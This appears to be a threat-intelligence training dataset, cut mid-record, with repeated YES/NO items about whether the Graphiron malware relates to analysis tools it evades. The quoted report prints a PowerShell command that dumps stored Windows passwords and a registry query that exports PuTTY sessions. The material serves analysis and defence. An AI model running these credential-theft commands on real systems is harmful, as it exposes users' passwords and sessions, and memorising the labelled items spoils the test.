1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: HTTPDebuggerUI\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: HookExplorer\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Immunity\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: ImportREC\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: LordPE\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: MegaDumper\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: NetworkMiner\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: PEToolW\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: Proxifier\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell command:\n_[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];$vault = New-Object Windows.Security.Credentials.PasswordVault;$vault.RetrieveAll() % { $_.RetrievePassw_\n_ord();$_} Select UserName, Resource, Password Format-Table \u2013HideTableHeaders_\nThe following command was used to export the list of PuTTY sessions:\n_\"CSIDL_SYSTEM\\reg.exe\" query HKCU\\Software\\SimonTatham\\Putty\\Sessions_\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGraphiron\n### Target Entity: RAMMap\n### Text Passage:\nGraphiron functionality\nGraphiron is a two-stage threat consisting of a downloader (Downloader.Graphiron) and a payload (Infostealer.Graphiron).\nThe downloader contains hardcoded command-and-control (C&C) server addresses. When executed, it will check against a blacklist of malware analysis tools by checking for running processes with the names listed in Table 1.\nTable 1: Graphiron checks against a blacklist of malware analysis tools by checking for running processes with specific namesProcess names\n---\nBurpSuite, BurpSuiteFree, CFF Explorer, Charles, DumpIt, Fiddler, HTTPDebuggerSVC, HTTPDebuggerUI, HookExplorer, Immunity, ImportREC, LordPE, MegaDumper, NetworkMiner, PEToolW, Proxifier, RAMMap, RAMMap64, ResourceHacker, SysInspector, WSockExpert, WinDump, Wireshar, agent.py, autoruns, autoruns, dbgview, disassembly, dumpcap, filemon, httpdebugger, httpsMon, ida,idag, idag64, idaq, idaq64, idau, idau64, idaw, idaw64, joeboxcontrol, joeboxserver, mitmdump, mitmweb, ollydbg, pestudio, proc_analyzer, processhacker, procexp, procexp64, procmon, procmon64, protection_id, pslist, reconstructor, regmon, reshacker, rpcapd, scylla, scylla_64, scylla_86, smsniff, sniff_hit, tcpvcon, tcpview, tshark, vmmat, windbg, x32dbg, x64dbg, x96dbg\nIf no blacklisted processes are found, it will connect to a C&C server and download and decrypt the payload before adding it to autorun.\nThe downloader is configured to run just once. If it fails to download and install the payload it won\u2019t make further attempts nor send a heartbeat.\nGraphiron uses AES encryption with hardcoded keys. It creates temporary files with the \".lock\" and \".trash\" extensions. It uses hardcoded file names designed to masquerade as Microsoft office executables: OfficeTemplate.exe and MicrosoftOfficeDashboard.exe\nThe payload is capable of carrying out the following tasks:\n* Reads MachineGuid\n* Obtains the IP address from https://checkip.amazonaws.com\n* Retrieves the hostname, system info, and user info\n* Steals data from Firefox and Thunderbird\n* Steals private keys from MobaXTerm.\n* Steals SSH known hosts\n* Steals data from PuTTY\n* Steals stored passwords\n* Takes screenshots\n* Creates a directory\n* Lists a directory\n* Runs a shell command\n* Steals an arbitrary file\nPassword theft is carried out using the following PowerShell 